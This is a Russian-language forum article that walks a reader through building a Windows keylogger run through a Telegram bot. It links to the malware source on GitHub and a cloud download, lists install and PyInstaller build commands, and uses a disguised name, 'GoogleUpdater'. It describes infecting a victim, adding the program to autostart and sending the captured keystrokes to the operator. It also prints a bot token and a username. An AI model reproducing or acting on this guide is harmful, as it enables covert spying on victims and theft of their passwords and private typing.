[Гайд по созданию Кейлогера для ТелеграмБота написанный на Python][Уровень: Null]
Программа постепенно обновляется и перенесена на гитхаб, став частью рмс. https://github.com/enot-pogromist/simple_rat_bot
Скрипт отвечающий за кейлоггер имеет название GoogleUpdater.py
В зборе для всех версий винд https://cloud.mail.ru/public/GfG7/usTGxhPhF
Всем Превет!
В этой статье я поделюсь с вами простым рецептом создания кейлогера с функцией
отправки сообщений через телеграм. Код будет написан на Python 3.5, и скомпилирован
в один EXE файл.
Для тех кто не боится трудностей, читайте дальше:
На необходимо некоторый софт, не беспокойтесь скачивать его будем с официальных
сайтов. Вот вам инструкция:
Допиливаем PyInstaller для Python:
1) Качаем Python версии 3.5 для 32 бит и устанавливаем его.
2) Устанавливаем необходимое через pip:
Открываем CMD.EXE и вставляем строки из списка ниже:
1) pip install pywin32 --upgrade
2) pip install python-telegram-bot
3) pip install winreg
PS. Если какого нибыло пакета не найдено
То заходим на http://www.lfd.uci.edu/~gohlke/pythonlibs/
качаем нужную библиотеку под нашу версию питона и ос и
устанавливаем командой:
pip install *.whl --upgrade
3) Качаем "Visual C++ 2010 (x86)" по ссылке "https://www.microsoft.com/ru-ru/download/confirmation.aspx?id=5555" и устанавливаем его;
4) Устанавливаем через pip pyinstaller:
pip install pyinstaller
Теперь самое интересное:
5) Устанавливаем библиотеку для пользования телеграмом:
1) pip install python-telegram-bot --upgrade
6) Теперь всё готово для создания нашей программы, но мы еще не создали своего бота...
Устанавливаем телеграмм, регистрируемся если вас там еще нет.
(странный человек, которого там нет, это для тебя)
7) Находим через поиск, одного криминального авторитета по имени BotFather.
Начинаем с ним переписку нажав на кнопку <start>
Отвечаем на его вопросы:
1) name и username два разных имени одного и того же.
2) когда на вопросы ответели, создастся ваш бот и вам выдадут уникальный и секретный(!)
токен, в этом случае вы можете его видеть на скриншоте, для наглядности. Запоминаем его.
8) Теперь нам нужно будет создать три файла и найти где нибудь иконку:
1) app.pyw - тут будет наш бот
2) keyinput.py - тут библиотека для клавиш
3) config.yml - тут файл конфигурации
4) app.ico - будущая иконка приложения
Получилось? Ну и молодец! Тут уж и любой дурак справился бы.
9) Теперь вставляем код во все три файла:
1) app.pyw тут https://github.com/enot-pogromist/simple_rat_bot/blob/master/GoogleUpdater.py
2) keyinput.py тут https://github.com/enot-pogromist/simple_rat_bot/blob/master/keyinput.py
3) config.yml тут https://github.com/enot-pogromist/simple_rat_bot/blob/master/data/conf.yml
10) Теперь можно скопилировать в один EXE:
pyinstaller —onefile —windowed —icon=app.ico app.pyw
11) В папке dist теперь лежит готовый вирус. Он распростроняется вместе с файлом config.yml,
в который вы должны ***** свои данные такие как токен и имя пользователя. Зачем?
Токен, это ******* нашего бота - он теперь знает кто он.
Юсерс, это те пользователи у которых есть доступ к боту.
token: 330831995:AAEDGbgd8qfhyKUUlvVdA8q-MoU53K0EQo4
users:
- enot_pogromist
PS: ВЫ МОЖЕТЕ НЕ СОЗДАВАТЬ ОТДЕЛЬНОГО ФАЙЛА, ЭТО ДЛЯ ЛЕНИВЫХ. ВЫ МОЖЕТЕ ЗАБИТЬ СВОИ ДАННЫЕ
СРАЗУ В ТЕЛО СКРИПТА.
12) А теперь давайте узнаем как работает бот:
1) (!) Перед заражением вы должны "взвести механизм" - отправить боту (/start)
Эта функция еще и добавляет нашего друга в автостарт
2) У вас есть две функции - записывать нажатия (/l) и перезагрузить бота (/r)
Когда вы запустили "запись нажатий", бот будет записывать все нажатия клавиш и
отправлять вам файл *****, каждые сто нажатий, в скрипте можно доправить через
сколько нажатий отправлять.
Итак подведем итоги, мы имеем готовый кейлоггер, который будет отправлять **** через
телеграм. Удобно не правда ли? Ты всегда можешь отредактировать этого бота сам,
перекомпилировать и всячески изменять.
Если есть желание можешь отблагодарить меня, яндекс написан в профиле, если есть вопросы
и коммерческие предложения то пиши в личку Вконтакта. Всегда рад буду!
<Часто задаваемые вопросы и ответы>
Вопрос: Почему Python ведь можно было написать на C или Go?
Ответ: Он проще для усвоения новичку, отладка ошибок проще, есть необходимые модули.
Вопрос: На Mac или GNU/Linux заработает?
Ответ: Данная вариация только для Win.
Вопрос: Русификацию не завезли?
Ответ: Будет, но позже, обходитесь пока доступными методами.
Вопрос: Сколько писался данный кейлоггер - бот?
Ответ: Именно этот примерно 30 минут.
Вопрос: Можно мне, но еще добавить <somebody>?
Ответ: Все зависит от Вас, можете сделать заказ, либо ждите следующей статьи,
если ваша идея мне по нраву, то функционал будет расширен.
Вопрос: Получится сделать RMS на этой основе?
Ответ: Да, уже получилось.
#МояСтатья
Загрузка...
